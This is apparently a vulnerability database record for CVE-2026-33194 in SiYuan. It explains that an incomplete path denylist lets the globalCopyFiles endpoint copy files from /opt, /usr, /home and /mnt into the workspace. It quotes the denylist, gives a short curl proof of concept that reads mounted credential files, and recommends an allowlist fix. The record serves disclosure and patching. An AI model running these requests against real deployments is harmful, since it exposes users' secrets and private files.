{"id":"CVE-2026-33194","aliases":["GHSA-vm69-h85x-8p85","GO-2026-4766"],"url":"https://o3.security/vulnerability/CVE-2026-33194","summary":"SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home","details":"## Summary\n\nThe `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.\n\n## Details\n\nCurrent denylist in `kernel/util/path.go:391-405`:\n\n```go\nprefixes := []string{\n    \"/.\",       // dotfiles\n    \"/etc\",     // system config\n    \"/root\",    // root home\n    \"/var\",     // variable data\n    \"/proc\",    // process info\n    \"/sys\",     // sysfs\n    \"/run\",     // runtime data\n    \"/bin\",     // binaries\n    \"/boot\",    // boot files\n    \"/dev\",     // devices\n    \"/lib\",     // libraries\n    \"/srv\",     // service data\n    \"/tmp\",     // temp files\n}\n```\n\n**NOT blocked:**\n- `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.\n- `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs\n- `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)\n- `/mnt`, `/media` — mounted volumes, network shares, often containing secrets\n- `/snap` — snap package data\n- `/sbin`, `/lib64` — system binaries/libraries\n\nThe `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:\n\n```go\nif util.IsSensitivePath(absSrc) {\n    // reject\n    continue\n}\n// File is copied into workspace — then readable via /api/file/getFile\n```\n\n## PoC\n\n```bash\n# Read SiYuan's own application files from /opt (Docker deployment)\ncurl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"srcs\":[\"/opt/siyuan/kernel/SiYuan-Kernel\"],\"destDir\":\"data/assets\"}'\n\n# Then read the copied file from workspace\ncurl -s 'http://127.0.0.1:6806/api/file/getFile' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"path\":\"data/assets/SiYuan-Kernel\"}'\n\n# Read files from mounted volumes\ncurl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \\\n  -H 'Authorization: Token YOUR_API_TOKEN' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"srcs\":[\"/mnt/secrets/credentials.json\"],\"destDir\":\"data/assets\"}'\n```\n\n## Impact\n\n- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path\n- In Docker deployments: read application source code, configs, mounted secrets\n- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked\n\n## Recommended Fix\n\nSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:\n\n```go\nfunc IsSensitivePath(p string) bool {\n    absPath := filepath.Clean(p)\n\n    // Allowlist: only workspace and configured safe directories\n    if strings.HasPrefix(absPath, WorkspaceDir) {\n        // Block workspace-internal sensitive paths (conf/)\n        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, \"conf\")) {\n            return true\n        }\n        return false\n    }\n\n    // Everything outside workspace is sensitive by default\n    return true\n}\n```","published":"2026-03-20T22:30:33.141Z","modified":"2026-10-28T02:30:57.143952246Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"},"epss":{"score":0.00489,"percentile":0.40945,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","fixedVersion":"3.6.2"}],"fix":{"url":"https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256b","label":"siyuan-note/siyuan@501571c"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33194.json"},{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33194"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256b"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:57.143952246Z"}}